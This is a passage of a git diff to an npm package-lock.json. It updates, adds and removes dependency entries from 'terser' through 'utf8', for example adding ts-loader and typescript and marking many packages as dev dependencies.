"sha512-wK0Ri4fOGjv/XPy8SBHZChl8CM7uMc5VML7SqiQ0zG7+J5Vr+RMQDoHa2CNT6KHUnTGIXH34UDMkPzAUyapBZg==", + "dev": true }, "terser": { "version": "4.8.0", @@ -16851,6 +21559,17 @@ "worker-farm": "^1.7.0" }, "dependencies": { + "find-cache-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz", + "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==", + "dev": true, + "requires": { + "commondir": "^1.0.1", + "make-dir": "^2.0.0", + "pkg-dir": "^3.0.0" + } + }, "schema-utils": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz", @@ -16880,6 +21599,7 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/then-fs/-/then-fs-2.0.0.tgz", "integrity": "sha1-cveS3Z0xcFqRrhnr/Piz+WjIHaI=", + "dev": true, "requires": { "promise": ">=3.2 <8" } @@ -16887,22 +21607,19 @@ "through": { "version": "2.3.8", "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", - "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=" + "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=", + "dev": true }, "through2": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, "requires": { "readable-stream": "~2.3.6", "xtend": "~4.0.1" } }, - "thunkify": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/thunkify/-/thunkify-2.1.2.tgz", - "integrity": "sha1-+qDp0jDFGsyVyhOjYawFyn4EVT0=" - }, "thunky": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz", @@ -16910,9 +21627,9 @@ "dev": true }, "timers-browserify": { - "version": "2.0.11", - "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.11.tgz", - "integrity": "sha512-60aV6sgJ5YEbzUdn9c8kYGIqOubPoUdqQCul3SBAsRCZ40s6Y5cMcrW4dt3/k/EsbLVJNl9n6Vz3fTc+k2GeKQ==", + "version": "2.0.12", + "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.12.tgz", + "integrity": "sha512-9phl76Cqm6FhSX9Xe1ZUAMLtm1BLkKj2Qd5ApyWkXzsMRaA7dgr81kf4wJmQf/hAvg8EEyJxDo3du/0KlhPiKQ==", "dev": true, "requires": { "setimmediate": "^1.0.4" @@ -16937,6 +21654,7 @@ "version": "0.0.33", "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz", "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", + "dev": true, "requires": { "os-tmpdir": "~1.0.2" } @@ -16975,7 +21693,8 @@ "to-readable-stream": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz", - "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q==" + "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q==", + "dev": true }, "to-regex": { "version": "3.0.2", @@ -17007,12 +21726,14 @@ "toidentifier": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", - "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==" + "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==", + "dev": true }, "toml": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/toml/-/toml-3.0.0.tgz", - "integrity": "sha512-y/mWCZinnvxjTKYhJ+pYxwD0mRLVvOtdS2Awbgxln6iEnt4rk0yBxeSBHkGJcPucRiG0e55mwWp+g/05rsrd6w==" + "integrity": "sha512-y/mWCZinnvxjTKYhJ+pYxwD0mRLVvOtdS2Awbgxln6iEnt4rk0yBxeSBHkGJcPucRiG0e55mwWp+g/05rsrd6w==", + "dev": true }, "toposort": { "version": "1.0.7", @@ -17033,12 +21754,13 @@ "tree-kill": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/tree-kill/-/tree-kill-1.2.2.tgz", - "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==" + "integrity": "sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==", + "dev": true }, - "trim": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/trim/-/trim-0.0.1.tgz", - "integrity": "sha1-WFhUf2spB1fulczMZm+1AITEYN0=", + "treeify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/treeify/-/treeify-1.1.0.tgz", + "integrity": "sha512-1m4RA7xVAJrSGrrXGs0L3YTwyvBs2S8PbRHaLZAkFw7JR8oIFwYtysxlBZhYIa7xSyiYJKZ3iGrrk55cGA3i9A==", "dev": true }, "trim-newlines": { @@ -17047,12 +21769,6 @@ "integrity": "sha1-WIeWa7WCpFA6QetST301ARgVphM=", "dev": true }, - "trim-trailing-lines": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/trim-trailing-lines/-/trim-trailing-lines-1.1.3.tgz", - "integrity": "sha512-4ku0mmjXifQcTVfYDfR5lpgV7zVqPg6zV9rdZmwOPqq0+Zq19xDqEgagqVbc4pOOShbncuAOIs59R3+3gcF3ZA==", - "dev": true - }, "trough": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/trough/-/trough-1.0.5.tgz", @@ -17068,25 +21784,169 @@ "glob": "^7.1.2" } }, + "ts-loader": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-8.1.0.tgz", + "integrity": "sha512-YiQipGGAFj2zBfqLhp28yUvPP9jUGqHxRzrGYuc82Z2wM27YIHbElXiaZDc93c3x0mz4zvBmS6q/DgExpdj37A==", + "dev": true, + "requires": { + "chalk": "^4.1.0", + "enhanced-resolve": "^4.0.0", + "loader-utils": "^2.0.0", + "micromatch": "^4.0.0", + "semver": "^7.3.4" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "json5": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz", + "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==", + "dev": true, + "requires": { + "minimist": "^1.2.5" + } + }, + "loader-utils": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.0.tgz", + "integrity": "sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==", + "dev": true, + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + } + }, + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + }, + "micromatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "dev": true, + "requires": { + "braces": "^3.0.1", + "picomatch": "^2.2.3" + } + }, + "semver": { + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + } + } + }, "tslib": { "version": "1.11.2", "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.11.2.tgz", - "integrity": "sha512-tTSkux6IGPnUGUd1XAZHcpu85MOkIl5zX49pO+jfsie3eP0B6pyhOlLXm3cAC6T7s+euSDDUUV+Acop5WmtkVg==" + "integrity": "sha512-tTSkux6IGPnUGUd1XAZHcpu85MOkIl5zX49pO+jfsie3eP0B6pyhOlLXm3cAC6T7s+euSDDUUV+Acop5WmtkVg==", + "dev": true }, "tsparticles": { - "version": "1.17.7", - "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-1.17.7.tgz", - "integrity": "sha512-+9b0YplbE38WPxWAMwYQ6+VLZ4LsDG8N3RAPx8ezwsi0IfR1ZEirfuHOUoYv3KfPMpmJOxf0F4jAFcq47uwyMA==", + "version": "1.26.2", + "resolved": "https://registry.npmjs.org/tsparticles/-/tsparticles-1.26.2.tgz", + "integrity": "sha512-rUOd8lrpZwcEIa0Ft+QzS73Eorl4xo6neVDNGFPxakSOMbOPL7OHdzjbqZgoE93dbRBzJlguhRMGZiRRuH86gQ==", "requires": { - "pathseg": "^1.2.0", - "tslib": "^2.0.0" - }, - "dependencies": { - "tslib": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.1.tgz", - "integrity": "sha512-SgIkNheinmEBgx1IUNirK0TUD4X9yjjBRTqqjggWCU3pUEqIk3/Uwl3yRixYKT6WjQuGiwDv4NomL3wqRCj+CQ==" - } + "pathseg": "^1.2.0" } }, "tty-browserify": { @@ -17098,7 +21958,8 @@ "tunnel": { "version": "0.0.6", "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz", - "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==" + "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==", + "dev": true }, "tunnel-agent": { "version": "0.6.0", @@ -17112,12 +21973,14 @@ "tweetnacl": { "version": "0.14.5", "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", - "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=" + "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=", + "dev": true }, "type-check": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", + "dev": true, "requires": { "prelude-ls": "~1.1.2" } @@ -17125,7 +21988,8 @@ "type-fest": { "version": "0.8.1", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", - "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==" + "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", + "dev": true }, "type-is": { "version": "1.6.18", @@ -17147,10 +22011,17 @@ "version": "3.1.5", "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz", "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==", + "dev": true, "requires": { "is-typedarray": "^1.0.0" } }, + "typescript": { + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.2.4.tgz", + "integrity": "sha512-V+evlYHZnQkaz8TRBuxTA92yZBPotr5H+WhQ7bD3hZUndx5tGOa1fuCgeSjxAzM1RiN5IzvadIXTVefuuwZCRg==", + "dev": true + }, "ua-parser-js": { "version": "0.7.21", "resolved": "https://registry.npmjs.org/ua-parser-js/-/ua-parser-js-0.7.21.tgz", @@ -17180,30 +22051,35 @@ } } }, - "uncontrollable": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/uncontrollable/-/uncontrollable-7.1.1.tgz", - "integrity": "sha512-EcPYhot3uWTS3w00R32R2+vS8Vr53tttrvMj/yA1uYRhf8hbTG2GyugGqWDY0qIskxn0uTTojVd6wPYW9ZEf8Q==", - "requires": { - "@babel/runtime": "^7.6.3", - "@types/react": "^16.9.11", - "invariant": "^2.2.4", - "react-lifecycles-compat": "^3.0.4" - } - }, - "underscore": { - "version": "1.11.0", - "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.11.0.tgz", - "integrity": "sha512-xY96SsN3NA461qIRKZ/+qox37YXPtSBswMGfiNptr+wrt6ds4HaMw23TP612fEyGekRE6LNRiLYr/aqbHXNedw==" - }, - "unherit": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/unherit/-/unherit-1.1.3.tgz", - "integrity": "sha512-Ft16BJcnapDKp0+J/rqFC3Rrk6Y/Ng4nzsC028k2jdDII/rdZ7Wd3pPT/6+vIIxRagwRc9K0IUX0Ra4fKvw+WQ==", + "unbox-primitive": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.1.tgz", + "integrity": "sha512-tZU/3NqK3dA5gpE1KtyiJUrEB0lxnGkMFHptJ7q6ewdZ8s12QrODwNbhIJStmJkd1QDXa1NRA8aF2A1zk/Ypyw==", "dev": true, "requires": { - "inherits": "^2.0.0", - "xtend": "^4.0.0" + "function-bind": "^1.1.1", + "has-bigints": "^1.0.1", + "has-symbols": "^1.0.2", + "which-boxed-primitive": "^1.0.2" + }, + "dependencies": { + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true + } + } + }, + "uncontrollable": { + "version": "7.2.1", + "resolved": "https://registry.npmjs.org/uncontrollable/-/uncontrollable-7.2.1.tgz", + "integrity": "sha512-svtcfoTADIB0nT9nltgjujTi7BzVmwjZClOmskKu/E8FW9BXzg9os8OLr4f8Dlnk0rYWJIWr4wv9eKUXiQvQwQ==", + "requires": { + "@babel/runtime": "^7.6.3", + "@types/react": ">=16.9.11", + "invariant": "^2.2.4", + "react-lifecycles-compat": "^3.0.4" } }, "unicode-canonical-property-names-ecmascript": { @@ -17235,9 +22111,9 @@ "dev": true }, "unified": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/unified/-/unified-9.0.0.tgz", - "integrity": "sha512-ssFo33gljU3PdlWLjNp15Inqb77d6JnJSfyplGJPT/a+fNRNyCBeveBAYJdO5khKdF6WVHa/yYCC7Xl6BDwZUQ==", + "version": "9.2.1", + "resolved": "https://registry.npmjs.org/unified/-/unified-9.2.1.tgz", + "integrity": "sha512-juWjuI8Z4xFg8pJbnEZ41b5xjGUWGHqXALmBZ3FC3WX0PIx1CZBIIJ6mXbYMcf6Yw4Fi0rFUTA1cdz/BglbOhA==", "dev": true, "requires": { "bail": "^1.0.0", @@ -17249,9 +22125,9 @@ }, "dependencies": { "is-buffer": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.4.tgz", - "integrity": "sha512-Kq1rokWXOPXWuaMAqZiJW4XxsmD9zGx9q4aePabbn3qCRGedtH7Cm+zV8WETitMfu1wdh+Rvd6w5egwSngUX2A==", + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", + "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", "dev": true } } @@ -17296,34 +22172,26 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz", "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==", + "dev": true, "requires": { "crypto-random-string": "^2.0.0" } }, "unist-util-find-all-after": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/unist-util-find-all-after/-/unist-util-find-all-after-3.0.1.tgz", - "integrity": "sha512-0GICgc++sRJesLwEYDjFVJPJttBpVQaTNgc6Jw0Jhzvfs+jtKePEMu+uD+PqkRUrAvGQqwhpDwLGWo1PK8PDEw==", + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/unist-util-find-all-after/-/unist-util-find-all-after-3.0.2.tgz", + "integrity": "sha512-xaTC/AGZ0rIM2gM28YVRAFPIZpzbpDtU3dRmp7EXlNVA8ziQc4hY3H7BHXM1J49nEmiqc3svnqMReW+PGqbZKQ==", "dev": true, "requires": { "unist-util-is": "^4.0.0" } }, "unist-util-is": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-4.0.2.tgz", - "integrity": "sha512-Ofx8uf6haexJwI1gxWMGg6I/dLnF2yE+KibhD3/diOqY2TinLcqHXCV6OI5gFVn3xQqDH+u0M625pfKwIwgBKQ==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-4.1.0.tgz", + "integrity": "sha512-ZOQSsnce92GrxSqlnEEseX0gi7GH9zTJZ0p9dtu87WRb/37mMPO2Ilx1s/t9vBHrFhbgweUwb+t7cIn5dxPhZg==", "dev": true }, - "unist-util-remove-position": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/unist-util-remove-position/-/unist-util-remove-position-2.0.1.tgz", - "integrity": "sha512-fDZsLYIe2uT+oGFnuZmy73K6ZxOPG/Qcm+w7jbEjaFcJgbQ6cqjs/eSPzXhsmGpAsWPkqZM9pYjww5QTn3LHMA==", - "dev": true, - "requires": { - "unist-util-visit": "^2.0.0" - } - }, "unist-util-stringify-position": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-2.0.3.tgz", @@ -17333,27 +22201,6 @@ "@types/unist": "^2.0.2" } }, - "unist-util-visit": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-2.0.2.tgz", - "integrity": "sha512-HoHNhGnKj6y+Sq+7ASo2zpVdfdRifhTgX2KTU3B/sO/TTlZchp7E3S4vjRzDJ7L60KmrCPsQkVK3lEF3cz36XQ==", - "dev": true, - "requires": { - "@types/unist": "^2.0.0", - "unist-util-is": "^4.0.0", - "unist-util-visit-parents": "^3.0.0" - } - }, - "unist-util-visit-parents": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-3.0.2.tgz", - "integrity": "sha512-yJEfuZtzFpQmg1OSCyS9M5NJRrln/9FbYosH3iW0MG402QbdbaB8ZESwUv9RO6nRfLAKvWcMxCwdLWOov36x/g==", - "dev": true, - "requires": { - "@types/unist": "^2.0.0", - "unist-util-is": "^4.0.0" - } - }, "universalify": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", @@ -17363,7 +22210,8 @@ "unpipe": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", - "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" + "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=", + "dev": true }, "unset-value": { "version": "1.0.0", @@ -17405,6 +22253,12 @@ } } }, + "untildify": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/untildify/-/untildify-4.0.0.tgz", + "integrity": "sha512-KK8xQ1mkzZeg9inewmFVDNkg3l5LUhoq9kN6iWYB/CC9YMG8HA+c1Q8HwDe6dEX7kErrEVNVBO3fWsVq5iDgtw==", + "dev": true + }, "upath": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", @@ -17412,9 +22266,10 @@ "dev": true }, "update-notifier": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-4.1.1.tgz", - "integrity": "sha512-9y+Kds0+LoLG6yN802wVXoIfxYEwh3FlZwzMwpCZp62S2i1/Jzeqb9Eeeju3NSHccGGasfGlK5/vEHbAifYRDg==", + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-4.1.3.tgz", + "integrity": "sha512-Yld6Z0RyCYGB6ckIjffGOSOmHXj1gMeE7aROz4MG+XMkmixBX4jUngrGXNYz7wPKBmtoD4MnBa2Anu7RSKht/A==", + "dev": true, "requires": { "boxen": "^4.2.0", "chalk": "^3.0.0", @@ -17432,11 +22287,11 @@ }, "dependencies": { "ansi-styles": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz", - "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, "requires": { - "@types/color-name": "^1.1.1", "color-convert": "^2.0.1" } }, @@ -17444,6 +22299,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, "requires": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" @@ -17453,6 +22309,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, "requires": { "color-name": "~1.1.4" } @@ -17460,22 +22317,20 @@ "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" - }, - "import-lazy": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-2.1.0.tgz", - "integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM=" + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true }, "supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, "requires": { "has-flag": "^4.0.0" } @@ -17558,6 +22413,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz", "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=", + "dev": true, "requires": { "prepend-http": "^2.0.0" } @@ -17568,6 +22424,12 @@ "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==", "dev": true }, + "utf8": { + "version": "3.0.0", + "resolved": 